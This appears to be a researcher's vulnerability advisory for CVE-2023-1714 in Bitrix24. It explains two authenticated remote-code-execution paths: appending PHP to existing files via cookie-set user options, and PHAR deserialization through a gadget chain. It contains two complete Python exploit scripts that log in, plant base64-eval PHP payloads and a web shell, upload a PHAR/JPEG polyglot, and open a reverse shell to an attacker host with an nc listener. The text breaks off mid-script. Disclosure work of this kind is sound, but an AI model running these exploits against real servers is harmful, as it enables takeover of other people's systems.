Summary:
Product | Bitrix24 |
---|---|
Vendor | Bitrix24 |
Severity | High |
Affected Versions | Bitrix24 22.0.300 (latest version as of writing) |
Tested Versions | Bitrix24 22.0.300 (latest version as of writing) |
CVE Identifier | CVE-2023-1714 |
CVE Description | Unsafe variable extraction in bitrix/modules/main/classes/general/user_options.php in Bitrix24 22.0.300 allows remote authenticated attackers to execute arbitrary code via (1) appending arbitrary content to existing PHP files or (2) PHAR deserialization. |
CWE Classification(s) | CWE-73 External Control of File Name or Path; CWE-502 Deserialization of Untrusted Data |
CAPEC Classification(s) | CAPEC-549 Local Execution of Code |
1. RCE via appending arbitrary content to existing PHP files
CVSS3.1 Scoring System:
Base Score: 8.8 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Metric | Value |
---|---|
Attack Vector (AV) | Network |
Attack Complexity (AC) | Low |
Privileges Required (PR) | Low |
User Interaction (UI) | None |
Scope (S) | Unchanged |
Confidentiality (C) | High |
Integrity (I) | High |
Availability (A) | High |
Vulnerability Details:
This report presents information on an insecure file append vulnerability in Bitrix24 which allows an adversary to run arbitrary commands on the affected web server.
It was discovered that the init
function of the Export
controller located at bitrix/modules/main/lib/controller/export.php
allows an attacker to control several properties within the Export
class, including the filePath
property. This stems from the incorrect assumption that the value returned from CUserOptions::GetOption
cannot be controlled by an attacker.
The filePath
property is used by the exportAction
function to determine the file where attacker controlled exported data should be written to. Thus, by controlling this property, an attacker can append nearly arbitrary data to any file, including PHP files, and thus achieveing remote code execution.
The Export
controller is subclassed by several other controllers, each responsible for exporting entities related to its own module. For this report, we will focus on the crm export controller located at bitrix/modules/crm/lib/controller/export.php
, though the vulnerability is present in any class that extends Bitrix\Main\Controller\Export
.
The Bitrix\Main\Controller\Export::init
function is called when a POST request is made to https://TARGET_HOST/bitrix/services/main/ajax.php?action=bitrix%3Acrm.api.export.export
.
// bitrix/modules/main/lib/controller/export.php lines 205 to 220
$progressData = $this->getProgressParameters(); // [1]
if (count($progressData) > 0)
{
$this->isNewProcess = (empty($progressData['processToken']) || $progressData['processToken'] !== $this->processToken);
if (!$this->isNewProcess)
{
// restore state
foreach ($this->fieldToStoreInProcess as $fieldName) // [2]
{
if (isset($progressData[$fieldName]))
{
$this->{$fieldName} = $progressData[$fieldName]; // [3]
}
}
}
}
In [1]
the getProgressParameters()
function is called to retrieve any progress that has been made since the previous request. This function calls and returns the result of the CUserOptions::GetOption
. In the next section, we will examine the getProgressParameters()
function in greater detail and show that the return value of this function can be almost completely controlled by an attacker.
Next, if the processToken
of the saved progress data matches that sent in the request, control flow enters the loop at [2]
. As the $progressData
variable is controlled by the attacker, this condition is trivial to satisfy.
For each property whitelisted in the $this->fieldToStoreInProcess
array, if the property also exists in the attacker controlled $progressData
variable, the value of the property in the Bitrix\Main\Controller\Export
class will be overwritten by the value in $progressData
. As filePath
is one of the whitelisted properties, an attacker can thus control the filePath
property on the Bitrix\Main\Controller\Export
class.
After saved properties are reinitialized, the action handler function, exportAction
is called:
public function exportAction(){
// initalize properties if not already set by init()
// line 454
ob_start();
$componentResult = $APPLICATION->IncludeComponent( // [4]
$this->componentName,
'',
$componentParameters
);
$exportData = ob_get_contents();
ob_end_clean();
$processedItemsOnStep = 0;
if (is_array($componentResult))
{
// set $processedItemsOnStep to the number of items exported
}
if ($this->totalItems == 0)
{
break;
}
if ($processedItemsOnStep > 0)
{
$this->processedItems += $processedItemsOnStep;
$this->writeTempFile($exportData, ($nextPage === 1)); // [5]
unset($exportData);
$this->isExportCompleted = ($this->processedItems >= $this->totalItems);
if ($this->isExportCompleted && !$this->isCloudAvailable)
{
// adjust completed file size
$this->fileSize = $this->getSizeTempFile();
}
}
}
The exportAction
function includes a component based on the COMPONENT_NAME
request body parameter. For example, to export crm contacts, the crm.contact.list
component is included at [4]
. The output of this component is a list of contacts in CSV format stored in the $exportData
variable. An attacker can control parts of the exported data by creating contacts with malicious payloads hidden in the SOURCE_DESCRIPTION
field.
Next, the writeTempFile
function is called to write $exportData
to a file:
// bitrix/modules/main/lib/controller/export.php lines 1296 to 1315
protected function writeTempFile($data, $precedeUtf8Bom = true)
{
$file = fopen($this->filePath, 'ab'); // [6]
if(is_resource($file))
{
// add UTF-8 BOM marker
if (\Bitrix\Main\Application::isUtfMode() || defined('BX_UTF'))
{
if($precedeUtf8Bom === true && (filesize($this->filePath) === 0))
{
fwrite($file, chr(239).chr(187).chr(191));
}
}
fwrite($file, $data); // [7]
fclose($file);
unset($file);
$this->fileSize = filesize($this->filePath);
}
}
The file specified by the attacker controlled filePath
property is opened in append mode at [6]
and the exported data is appended to it at [7]
.
Therefore, an attacker can append arbitrary PHP code to a PHP file, resulting in remote command execution.
Attacker-controlled User Options
In this section we will show how an authenticated attacker can alter their own user options, thus controlling the return value of any CUserOptions::GetOption
call and eventually the filePath
property of the Bitrix\Main\Controller\Export
class.
First, we observe that the getProgressParameters()
is just a simple wrapper over a CUserOptions::GetOption
call at [8]
. In the case of exporting CRM contacts, this->module
is 'crm'
and $this->getProgressParameterOptionName()
is 'crm_cloud_export_CONTACT'
.
// bitrix/modules/main/lib/controller/export.php lines 1165 to 1174
protected function getProgressParameters()
{
$progressData = \CUserOptions::GetOption($this->module, $this->getProgressParameterOptionName()); // [8]
if (!is_array($progressData))
{
$progressData = array();
}
return $progressData;
}
Although this class assumes that the return value of CUserOptions::GetOption
cannot be arbitrarily controlled by an attacker, there are several ways to do so. In this section, we will examine one of them.
The CUserOptions::SetOptionsFromArray
function found in bitrix/modules/main/classes/general/user_options.php
lines 216 to 243 can be used to set any user option.
This function is called by CUserOptions::SetCookieOptions
, shown below:
// bitrix/modules/main/classes/general/user_options.php lines 317 to 329
public static function SetCookieOptions($cookieName)
{
//last user setting
$varCookie = array();
parse_str($_COOKIE[$cookieName], $varCookie); // [9]
setcookie($cookieName, false, false, "/");
if (is_array($varCookie["p"]) && $varCookie["sessid"] == bitrix_sessid())
{
$arOptions = $varCookie["p"];
CUtil::decodeURIComponent($arOptions);
CUserOptions::SetOptionsFromArray($arOptions); // [10]
}
}
This function retrieves the user options from a user supplied cookie at [9]
, parses it as a query string, then calls CUserOptions::SetOptionsFromArray
on the result at [10]
.
The CUserOptions::SetCookieOptions
function is in turn called by the CAllMain::PrologActions
function, if the $cookieName
cookie is set. The default cookie name is BITRIX_SM_LAST_SETTINGS
.
public static function PrologActions(){
// ...
// bitrix/modules/main/classes/general/main.php lines 3497 to 3501
$cookieName = COption::GetOptionString("main", "cookie_name", "BITRIX_SM")."_LAST_SETTINGS";
if(!empty($_COOKIE[$cookieName]))
{
CUserOptions::SetCookieOptions($cookieName);
}
// ...
}
The CAllMain::PrologActions
function is called in bitrix/modules/main/include/prolog_before.php
which is included in nearly every Bitrix24 route. Therefore, by setting the BITRIX_SM_LAST_SETTINGS
cookie, an attacker can easily manipulate their own user options.
Proof-of-Concept:
We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that exploits the insecure file append vulnerability and opens a reverse shell connection to the victim web server. The reverse shell code, defined in the CODE_TO_INJECT
variable, is appended to the file specified in TARGET_FILE
.
A sample exploit script is shown below:
# Bitrix24 Insecure File Append RCE (CVE-2023-XXXXX)
# Via: https://TARGET_HOST/bitrix/services/main/ajax.php?action=bitrix%3Acrm.api.export.export
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)
#!/usr/bin/env python3
import base64
import requests
import re
import os
import typing
import subprocess
import threading
HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "user"
PASSWORD = "abcdef"
# ROOT_PATH is not necessary, it is possible to use relative paths to exploit
ROOT_PATH = "/var/www/html/"
TARGET_FILE = "include/company_name.php"
LPORT = 9001
LHOST = "192.168.86.43"
PROXY = {"http": "http://localhost:8080"}
CODE_TO_INJECT = f"""
// Restore file for future demos
$file_data = file_get_contents("{ROOT_PATH}{TARGET_FILE}");
$original = mb_substr($file_data, 0, mb_strpos($file_data, '"ID";"Photo"'));
file_put_contents("{ROOT_PATH}{TARGET_FILE}", $original);
/* Sleep to allow nc listener to start */
sleep(2);
$sock=fsockopen($_GET["ip"], intval($_GET["port"]));
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
"""
def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
out = dict()
if type(val) is dict:
for k, v in val.items():
child = nested_to_urlencoded(v, prefix=(k if prefix == "" else f"[{k}]"))
for key, val in child.items():
out[prefix + key] = val
elif type(val) in [list, tuple]:
for i, item in enumerate(val):
child = nested_to_urlencoded(item, prefix=f"[{i}]")
for key, val in child.items():
out[prefix + key] = val
else:
out[prefix] = val
return out
def dict_to_str(d):
return "&".join(f"{k}={v}" for k, v in d.items())
def check_creds(cookie, sessid):
return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
"X-Bitrix-Csrf-Token": sessid
}, cookies={
"PHPSESSID": cookie,
}, proxies=PROXY).text == "OK"
def login(session, username, password):
if os.path.isfile("./cached-creds.txt"):
cookie, sessid = open("./cached-creds.txt").read().split(":")
if check_creds(cookie, sessid):
session.cookies.set("PHPSESSID", cookie)
print("[+] Using cached credentials")
return sessid
else:
print("[!] Cached credentials are invalid")
session.get(HOST + "/")
resp = session.post(
HOST + "/?login=yes",
data={
"AUTH_FORM": "Y",
"TYPE": "AUTH",
"backurl": "/",
"USER_LOGIN": username,
"USER_PASSWORD": password,
},
)
if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
print(f"[!] Invalid credentials")
exit()
sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
1
)
print(f"[+] Logged in as {username}")
with open("./cached-creds.txt", "w") as f:
f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
return sessid
def set_progress_data(session, sessid):
print(f"[+] Setting fake user options")
session.cookies.set("BITRIX_SM_LAST_SETTINGS",
dict_to_str(nested_to_urlencoded(
{
"p": [{
"c": "crm",
"v": {
"filePath": f"{ROOT_PATH}{TARGET_FILE}",
"processToken": "b",
},
"n": "crm_cloud_export_CONTACT"
}],
"sessid": sessid
}
)))
session.get(
HOST + "/bitrix/tools/public_session.php",
headers={"X-Bitrix-Csrf-Token": sessid},
)
def trigger_file_append(session, sessid):
print(f"[+] Appending payload to target file")
session.post(
HOST + "/bitrix/services/main/ajax.php?action=bitrix%3Acrm.api.export.export",
headers={
"Content-Type": "application/x-www-form-urlencoded",
"X-Bitrix-Csrf-Token": sessid
},
data={
"ENTITY_TYPE": "CONTACT",
"EXPORT_TYPE": "csv",
"COMPONENT_NAME": "bitrix:crm.contact.list",
"PROCESS_TOKEN": "b",
"REQUISITE_MULTILINE": "Y",
"EXPORT_ALL_FIELDS": "Y",
"INITIAL_OPTIONS[REQUISITE_MULTILINE]": "Y",
"INITIAL_OPTIONS[EXPORT_ALL_FIELDS]": "Y"
}
)
def delete_contact(session: requests.Session, sessid, contactId):
print(f"[+] Deleting contact {contactId}")
res = session.post(
HOST + "/bitrix/services/main/ajax.php?action=crm.api.entity.prepareDeletion",
headers={
"Content-Type": "application/x-www-form-urlencoded",
"X-Bitrix-Csrf-Token": sessid
},
data=f"params[gridId]=CRM_CONTACT_LIST_V12¶ms[entityTypeId]=3¶ms[extras][CATEGORY_ID]=0¶ms[entityIds][0]={contactId}",
)
hash = res.json()["data"]["hash"]
session.post(
HOST + "/bitrix/services/main/ajax.php?action=crm.api.entity.processDeletion",
headers={
"Content-Type": "application/x-www-form-urlencoded",
"X-Bitrix-Csrf-Token": sessid
},
data=f"params[hash]={hash}",
)
print(f"[+] Contact {contactId} deleted")
def create_contact(session: requests.Session, sessid):
payload = f"<?php eval(base64_decode('{base64.b64encode(CODE_TO_INJECT.encode()).decode()}')) ?>"
res = session.post(
HOST + "/bitrix/components/bitrix/crm.contact.details/ajax.php?sessid=" + sessid,
headers={
"Content-Type": "application/x-www-form-urlencoded",
},
data={
"PARAMS[NAME_TEMPLATE]": "#NAME# #LAST_NAME#",
"PARAMS[CATEGORY_ID]": "0",
"EDITOR_CONFIG_ID": "contact_details",
"HONORIFIC": "",
"LAST_NAME": "",
"NAME": "Definitely not Attacker",
"SECOND_NAME": "",
"BIRTHDATE": "",
"POST": "",
"PHONE[n0][VALUE]": "",
"PHONE[n0][VALUE_TYPE]": "WORK",
"EMAIL[n0][VALUE]": "",
"EMAIL[n0][VALUE_TYPE]": "WORK",
"WEB[n0][VALUE]": "",
"WEB[n0][VALUE_TYPE]": "WORK",
"IM[n0][VALUE]": "",
"IM[n0][VALUE_TYPE]": "FACEBOOK",
"CLIENT_DATA": "{\"COMPANY_DATA\":[]}",
"TYPE_ID": "CLIENT",
"SOURCE_ID": "CALL",
"SOURCE_DESCRIPTION": payload,
"OPENED": "Y",
"EXPORT": "Y",
"ASSIGNED_BY_ID": "3",
"COMMENTS": "",
"contact_0_details_editor_comments_html_editor": "",
"ACTION": "SAVE",
"ACTION_ENTITY_ID": "",
"ACTION_ENTITY_TYPE": "C",
"ENABLE_REQUIRED_USER_FIELD_CHECK": "Y"
}
)
contactId = re.compile("'ENTITY_ID':'([0-9]+)'").findall(res.text)[0]
print(f"[+] Created contact {contactId}")
return int(contactId)
def reverse_shell():
requests.get(f"{HOST}/{TARGET_FILE}?ip={LHOST}&port={LPORT}")
if __name__ == "__main__":
s = requests.Session()
s.proxies = PROXY
sessid = login(s, USERNAME, PASSWORD)
contactId = create_contact(s, sessid)
try:
set_progress_data(s, sessid)
trigger_file_append(s, sessid)
finally:
delete_contact(s, sessid, contactId)
threading.Thread(target=reverse_shell).start()
print("[+] Waiting for reverse shell connection")
subprocess.run(["nc", "-nvlp", str(LPORT)])
Exploit Conditions:
This vulnerability can be exploited when the attacker has access to the CRM feature and permission to create and export contacts. This level of access may be granted if the user is in the management board group.
Detection Guidance:
It is possible to detect the exploitation of this vulnerability by checking if any PHP files have been recently modified. Alternatively, the traffic logs can be examined to check if any of the BITRIX_SM_LAST_SETTINGS
cookies sent to the server contain the string filePath
.
2. RCE via PHAR deserialization
CVSS3.1 Scoring System:
Base Score: 8.8 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Metric | Value |
---|---|
Attack Vector (AV) | Network |
Attack Complexity (AC) | Low |
Privileges Required (PR) | Low |
User Interaction (UI) | None |
Scope (S) | Unchanged |
Confidentiality (C) | High |
Integrity (I) | High |
Availability (A) | High |
Vulnerability Details:
This report presents information on a PHAR deserialization vulnerability in Bitrix24 which allows an adversary to run arbitrary commands on the affected web server.
It was discovered that the code in bitrix/components/bitrix/crm.contact.list/stexport.ajax.php
allows an attacker to call the file_exists
function on arbitrary input. This stems from the incorrect assumption that the value returned from CUserOptions::GetOption
cannot be controlled by an attacker. When Bitrix is run with PHP version <8, an attacker may use the phar://
protocol to load a malicious .phar
file, which would lead to Remote Code Execution via PHP Object Injection.
// bitrix/components/bitrix/crm.contact.list/stexport.ajax.php line 127
$progressData = CUserOptions::GetOption('crm', 'crm_stexport_contact', ''); // [1]
if (!is_array($progressData))
$progressData = array();
$lastToken = isset($progressData['PROCESS_TOKEN']) ? $progressData['PROCESS_TOKEN'] : '';
$isNewToken = ($processToken !== $lastToken); // [2]
// ...
if ($isNewToken)
{
$filePath = '';
// ...
}
else
{
$filePath = isset($progressData['FILE_PATH']) ?
$progressData['FILE_PATH'] : 0; // [3]
// ...
}
In [1]
, the existing progress data for current export process is loaded from user options via CUserOptions::GetOption
. We will show in the next section that this value can completely controlled by an attacker.
If the process token in the saved progress data matches that sent in the request, the $isNewToken
is set to false
and control flow enters the else
block. The $filePath
variable is initialized from the attacker controlled $progressData
object ([3]
), along with other variables.
After saved variables are loaded, some checks are performed on the $filePath
variable:
// bitrix/components/bitrix/crm.contact.list/stexport.ajax.php line 160
if (!is_string($filePath) || $filePath == '' || !CheckDirPath($filePath)){
// ...
}
The CheckDirPath
function calls file_exists
on the path, after removing the file name:
// bitrix/modules/main/tools.php lines 2347 to 2370
function CheckDirPath($path)
{
//remove file name
if(mb_substr($path, -1) != "/")
{
$p = mb_strrpos($path, "/");
$path = mb_substr($path, 0, $p);
}
$path = rtrim($path, "/");
if($path == "")
{
//current folder always exists
return true;
}
if(!file_exists($path))
{
return mkdir($path, BX_DIR_PERMISSIONS, true);
}
return is_dir($path);
}
Therefore, an attacker could call the file_exists
function with an arbitrary scheme, such as phar://
, which could lead to the deserialization of PHP objects that are contained within the phar
’s metadata. We discuss one example of such an object chain that would lead to RCE.
The PropertiesDialog
class, found at bitrix/modules/bizproc/lib/activity/propertiesdialog.php
, contains the following __toString
function:
// lines 402 to 423
public function __toString()
{
if ($this->renderer !== null)
{
return call_user_func($this->renderer, $this);
}
$runtime = \CBPRuntime::getRuntime();
$runtime->startRuntime();
return (string)$runtime->executeResourceFile(
$this->activityFile,
$this->dialogFileName,
array_merge(array(
'dialog' => $this,
//compatible parameters
'arCurrentValues' => $this->getCurrentValues($this->dialogFileName === 'properties_dialog.php'),
'formName' => $this->getFormName()
), $this->getRuntimeData()
)
);
}
// lines 471 to 474
public function getRuntimeData()
{
return $this->runtimeData;
}
The $runtime->executeResourceFile
function is called. Note that all parameters to this function are attacker controllable as they are either properties of the PropertiesDialog
class ($this->activityFile
and $this->dialogFileName
) or are derived from them ($this->runtimeData
via $this->getRuntimeData()
). As an attacker has a PHP object deserialization primitive, they can controll these properties.
The ExecuteResourceFile
function performs two checks ([4]
and [5]
) before calling include
on $path[0]
([6]
):
// bitrix/modules/bizproc/classes/general/runtime.php lines 571 to 588
public function ExecuteResourceFile($activityPath, $filePath, $arParameters = array())
{
$result = null;
$path = $this->GetResourceFilePath($activityPath, $filePath); // [4]
if ($path != null)
{
ob_start();
foreach ($arParameters as $key => $value)
${$key} = $value; // [7]
$this->LoadActivityLocalization($path[1], $filePath); // [5]
include($path[0]); // [6]
$result = ob_get_contents();
ob_end_clean();
}
return $result;
}
It was determined that setting $activityPath
to null
and $filePath
to stexport.php
would allow both checks to pass. However, the value of $path[0]
would be stexport.php
and not an attacker controlled location.
However, the code at [7]
, which sets each property of the attacker controlled $arParameters
variable as a local variable, allows an attacker to override the $path
variable after the completion of the first check but before the second check. This allows an attacker to modify $path[0]
to an attacker controlled path.
As the second check only involves $path[1]
and $filePath
, modification of $path[0]
will not result in the check failing.
Therefore, an attacker can use the PropertiesDialog
class to include arbitrary files.
There are several classes that would trigger the __toString
method of PropertiesDialog
when they are destructed. One such class is CCloudsDebug
, found in bitrix/modules/clouds/include.php
:
// line 39
class CCloudsDebug
{
protected static $instances = array();
public static function getInstance($action = "counters")
{
// ...
}
protected $head = '';
protected $id = '';
public function __construct($action)
{
// ...
}
public function __destruct()
{
$cloudsKey = $this->head."|".$this->id."|mess"; // [8]
$prevTrace = apcu_fetch($cloudsKey);
if ($prevTrace)
AddMessage2Log($prevTrace, "clouds", 0);
apcu_delete($cloudsKey);
apcu_delete($this->head."|".$this->id);
}
// ...
}
At [8]
, the head
property is concatenated with a string. This causes the __toString
method of $this->head
to be called. Thus, an attacker could trigger the arbitrary file include detailed above by setting $this->head
to a specially constructed PropertiesDialog
object.
Finally, an attacker requires a method to upload the malicious PHAR file to the server. This method would also have to disclose the path of the PHAR file on the server.
It was discovered that an authenticated attacker could upload images via changing the profile picture of a CRM contact. The endpoint used for this process (/bitrix/components/bitrix/main.file.input/ajax.php
) discloses the path of the uploaded image. A PHAR/JPG polyglot (based on code by kunte0
found here) was used to pass checks on the validity of the uploaded image.
Attacker-controlled User Options
The root cause of this vulnerability is the incorrect assumption that the return value of CUserOptions::GetOption
cannot be arbitrarily controlled by an attacker. However, there are several ways to do so. In this section, we will examine one of them.
The CUserOptions::SetOptionsFromArray
function found in bitrix/modules/main/classes/general/user_options.php
lines 216 to 243 can be used to set any user option.
This function is called by CUserOptions::SetCookieOptions
, shown below:
// bitrix/modules/main/classes/general/user_options.php lines 317 to 329
public static function SetCookieOptions($cookieName)
{
//last user setting
$varCookie = array();
parse_str($_COOKIE[$cookieName], $varCookie); // [9]
setcookie($cookieName, false, false, "/");
if (is_array($varCookie["p"]) && $varCookie["sessid"] == bitrix_sessid())
{
$arOptions = $varCookie["p"];
CUtil::decodeURIComponent($arOptions);
CUserOptions::SetOptionsFromArray($arOptions); // [10]
}
}
This function retrieves the user options from a user supplied cookie at [9]
, parses it as a query string, then calls CUserOptions::SetOptionsFromArray
on the result at [10]
.
The CUserOptions::SetCookieOptions
function is in turn called by the CAllMain::PrologActions
function, if the $cookieName
cookie is set. The default cookie name is BITRIX_SM_LAST_SETTINGS
.
public static function PrologActions(){
// ...
// bitrix/modules/main/classes/general/main.php lines 3497 to 3501
$cookieName = COption::GetOptionString("main", "cookie_name", "BITRIX_SM")."_LAST_SETTINGS";
if(!empty($_COOKIE[$cookieName]))
{
CUserOptions::SetCookieOptions($cookieName);
}
// ...
}
The CAllMain::PrologActions
function is called in bitrix/modules/main/include/prolog_before.php
which is included in nearly every Bitrix24 route. Therefore, by setting the BITRIX_SM_LAST_SETTINGS
cookie, an attacker can easily manipulate their own user options.
Proof-of-Concept:
We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that exploits the PHAR deserialization vulnerability and opens a reverse shell connection to the victim web server.
A sample exploit script is shown below:
# Bitrix24 PHAR Deserialization RCE (CVE-2023-XXXXX)
# Via: https://TARGET_HOST/bitrix/components/bitrix/crm.contact.list/stexport.ajax.php
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)
#!/usr/bin/env python3
import random
import json
import requests
import re
import os
import typing
import subprocess
import threading
HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "crm_only"
PASSWORD = "crm_only"
ROOT_PATH = "/var/www/html/"
PORT = 9001
LHOST = "192.168.86.125"
PROXY = {"http": "http://localhost:8080"}
def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
out = dict()
if type(val) is dict:
for k, v in val.items():
child = nested_to_urlencoded(v, prefix=(k if prefix == "" else f"[{k}]"))
for key, val in child.items():
out[prefix + key] = val
elif type(val) in [list, tuple]:
for i, item in enumerate(val):
child = nested_to_urlencoded(item, prefix=f"[{i}]")
for key, val in child.items():
out[prefix + key] = val
else:
out[prefix] = val
return out
def dict_to_str(d):
return "&".join(f"{k}={v}" for k, v in d.items())
def check_creds(cookie, sessid):
return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
"X-Bitrix-Csrf-Token": sessid
}, cookies={
"PHPSESSID": cookie,
}, proxies=PROXY).text == "OK"
def login(session, username, password):
if os.path.isfile("./cached-creds.txt"):
cookie, sessid = open("./cached-creds.txt").read().split(":")
if check_creds(cookie, sessid):
session.cookies.set("PHPSESSID", cookie)
print("[+] Using cached credentials")
return sessid
else:
print("[!] Cached credentials are invalid")
session.get(HOST + "/")
resp = session.post(
HOST + "/?login=yes",
data={
"AUTH_FORM": "Y",
"TYPE": "AUTH",
"backurl": "/",
"USER_LOGIN": username,
"USER_PASSWORD": password,
},
)
if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
print(f"[!] Invalid credentials")
exit()
sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
1
)
print(f"[+] Logged in as {username}")
with open("./cached-creds.txt", "w") as f:
f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
return sessid
def upload_web_shell(s, sessid):
data = f"""
<?php
sleep(2);
$sock=fsockopen("{LHOST}", {PORT});
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);"""
return upload(s, sessid, data)
def upload(session, sessid, data):
CID = random.randint(0, pow(10, 5))
resp = session.post(
HOST + "/desktop_app/file.ajax.php?action=uploadfile",
headers={
"X-Bitrix-Csrf-Token": sessid,
"X-Bitrix-Site-Id": SITE_ID,
},
data={
"bxu_info[mode]": "upload",
"bxu_info[CID]": str(CID),
"bxu_info[filesCount]": "1",
"bxu_info[packageIndex]": f"pIndex{CID}",
"bxu_info[NAME]": f"file{CID}",
"bxu_files[0][name]": f"file{CID}",
},
files={
"bxu_files[0][default]": (
"file",
data,
"text/plain",
)
},
proxies=PROXY,
).json()
return resp["files"][0]["file"]["files"]["default"]["tmp_name"]
def make_phar(path):
os.system("rm ./test.phar")
print(f"[+] Creating PHAR")
os.system(f"php --define phar.readonly=0 create_phar.php {path}")
return open("./test.phar", 'rb').read()
def set_progress_data(session, sessid, path):
print(f"[+] Setting fake user options")
session.cookies.set("BITRIX_SM_LAST_SETTINGS",
dict_to_str(nested_to_urlencoded([{
"c": "crm",
"v": {
"FILE_PATH": f"phar://{path}/a",
"PROCESS_TOKEN": "b",
},
"n": "crm_stexport_contact"
}], "p"
) | {"sessid": sessid}))
session.get(
HOST + "/bitrix/tools/public_session.php",
headers={"X-Bitrix-Csrf-Token": sessid},
)
def get_upload_params(session, sessid):
resp = session.post(
HOST
+ "/bitrix/components/bitrix/crm.contact.details/ajax.php?sessid="
+ sessid,
data={
"FIELD_NAME": "PHOTO",
"ACTION": "RENDER_IMAGE_INPUT",
"ACTION_ENTITY_ID": "0",
},
)
controlUid = re.search(
re.compile("'controlUid':'([a-f0-9]{32})'"), resp.text
).group(1)
controlSign = re.search(
re.compile("'controlSign':'([a-f0-9]{64})'"), resp.text
).group(1)
urlUpload = re.search(re.compile("'urlUpload':'(.*)'"), resp.text).group(1)
user_id = re.search(re.compile("'USER_ID':'([0-9]+)'"), resp.text).group(1)
return controlUid, controlSign, urlUpload, user_id
def upload_file(session, sessid, controlUid, controlSign, urlUpload, user_id, data):
resp = session.post(
HOST + urlUpload,
headers={
"X-Bitrix-Csrf-Token": sessid,
"X-Bitrix-Site-Id": SITE_ID,
},
data={
"bxu_files[file167][name]": "bitrix-out.jpg",
"bxu_files[file167][type]": "image/jpg",
"bxu_files[file167][size]": "10",
"AJAX_POST": "Y",
"USER_ID": user_id,
"sessid": sessid,
"SITE_ID": SITE_ID,
"bxu_info[controlId]": "bitrixUploader",
"bxu_info[CID]": controlUid,
"cid": controlUid,
"moduleId": "crm",
"allowUpload": "I",
"uploadMaxFilesize": "3145728",
"bxu_info[uploadInputName]": "bxu_files",
"bxu_info[version]": "1",
"bxu_info[mode]": "upload",
"bxu_info[filesCount]": "1",
"bxu_info[packageIndex]": "pIndex1",
"mfi_mode": "upload",
"mfi_sign": controlSign,
},
files={
"bxu_files[file167][default]": (
"bitrix-out.jpg",
data,
"image/jpg",
)
},
proxies=PROXY,
)
full_path = list(json.loads(resp.text)["files"].values())[0]["file"]["thumb_src"]
return re.search(
re.compile(
"/upload/resize_cache/crm/([a-f0-9]{3}/[a-z0-9]{32})/90_90_2/bitrix-out\\.jpg"
),
full_path,
).group(1)
def trigger_file_exists(session, sessid):
session.post(
HOST + "/bitrix/components/bitrix/crm.contact.list/stexport.ajax.php?sessid=" + sessid,
headers={"Content-Type": "application/x-www-form-urlencoded"},
data=nested_to_urlencoded({
"SITE_ID": SITE_ID,
"ENTITY_TYPE_NAME": "CONTACT",
"EXPORT_TYPE": "csv",
"PROCESS_TOKEN": "b",
}, "PARAMS") | {"ACTION": "STEXPORT"}
)
if __name__ == "__main__":
s = requests.Session()
s.proxies = PROXY
sessid = login(s, USERNAME, PASSWORD)
webshell_path = upload_web_shell(s, sessid)
ROOT_PATH = webshell_path[:webshell_path.index("upload")]
print(f"[+] Webshell uploaded to '{webshell_path}'")
controlUid, controlSign, urlUpload, user_id = get_upload_params(s, sessid)
data = make_phar(webshell_path)
path = upload_file(s, sessid, controlUid, controlSign, urlUpload, user_id, data)
path = f"{ROOT_PATH}upload/crm/{path}/bitrix-out.jpg"
print(f"[+] PHAR uploaded to '{path}'")
set_progress_data(s, sessid, path)
print(f"[+] Triggering file_exists phar deserialization")
threading.Thread(target=trigger_file_exists, args=(s, sessid)).start()
print("[+] Waiting for reverse shell connection")
subprocess.run(["nc", "-nvlp", str(PORT)])
The following PHP files also need to be present in the same directory:
create_phar.php
:
<?php
namespace Bitrix\Bizproc\Activity;
use Bitrix\Bizproc\FieldType;
use Bitrix\Main\ArgumentException;
include("./CCloudsDebug.php");
use CCloudsDebug;
class PropertiesDialog
{
public $activityFile;
public $dialogFileName = 'properties_dialog.php';
public $map;
public $mapCallback;
public $documentType;
public $activityName;
public $workflowTemplate;
public $workflowParameters;
public $workflowVariables;
public $currentValues;
public $formName;
public $siteId;
public $renderer;
public $context;
public $runtimeData = array();
public function __toString()
{
if ($this->renderer !== null)
{
return call_user_func($this->renderer, $this);
}
$runtime = \CBPRuntime::getRuntime();
$runtime->startRuntime();
return (string)$runtime->executeResourceFile(
$this->activityFile,
$this->dialogFileName,
array_merge(array(
'dialog' => $this,
//compatible parameters
'arCurrentValues' => $this->getCurrentValues($this->dialogFileName === 'properties_dialog.php'),
'formName' => $this->getFormName()
), $this->getRuntimeData()
)
);
}
}
$cloudDebug = new CCloudsDebug();
$dialog = new PropertiesDialog();
$dialog->dialogFileName = "stexport.php";
$dialog->runtimeData = ["path" => [$argv[1], ""]];
$cloudDebug->head = $dialog;
function generate_base_phar($o){
global $tempname;
@unlink($tempname);
$phar = new \Phar($tempname);
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->stopBuffering();
$basecontent = file_get_contents($tempname);
@unlink($tempname);
return $basecontent;
}
function generate_polyglot($phar, $jpeg){
$phar = substr($phar, 6); // remove <?php dosent work with prefix
$len = strlen($phar) + 2; // fixed
$new = substr($jpeg, 0, 2) . "\xff\xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
$contents = substr($new, 0, 148) . " " . substr($new, 156);
// calc tar checksum
$chksum = 0;
